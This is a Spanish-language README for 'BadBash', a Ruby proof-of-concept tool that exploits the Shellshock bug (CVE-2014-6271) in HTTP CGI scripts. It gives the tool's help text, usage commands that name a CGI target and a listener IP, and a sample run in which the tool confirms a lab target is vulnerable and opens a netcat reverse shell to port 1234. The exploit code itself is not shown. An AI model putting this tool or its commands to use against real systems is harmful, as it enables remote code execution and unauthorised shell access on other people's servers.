BadBash

CVE-2014-6271 (ShellShock) Herramienta PoC de RCE

======= BadBash es una herramienta de explotación RCE para CVE-2014-6271. La versión básica solo verifica sitios HTTP CGI y solo proporciona una reverse shell de netcat en el puerto 1234.

Desarrollador: Andy Yang Versión: 0.1.0 Licencia: GPLv3

Proyecto original en GitHub: https://github.com/RainMak3r/Rainstorm

================================================================================================ RainMak3r@Could:~/Desktop# ruby BadBash.rb -h

BadBash - Herramienta RCE CVE-2014-6271 por Andy Yang La versión básica solo verifica sitios HTTP La versión básica solo proporciona una reverse shell de netcat en el puerto 1234

EJEMPLO DE USO:

 ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
 ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target Ruta CGI            Ruta completa de la página CGI
-d, --Destination IP             Dirección IP que escucha la conexión entrante
-h, --help                       Muestra la ayuda

================================================================================================ Ejemplo de uso.

RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[Info] Verificando si el objetivo es vulnerable........

[Info] Esto puede tardar hasta 10 segundos........

[Info] ¡El objetivo es vulnerable!!!

[Info] Por favor, usa NC para escuchar en el puerto 1234 para obtener una reverse shell..........

[Info] Explotando para una reverse shell que se conecte a 172.16.189.1:1234 a través de netcat ..........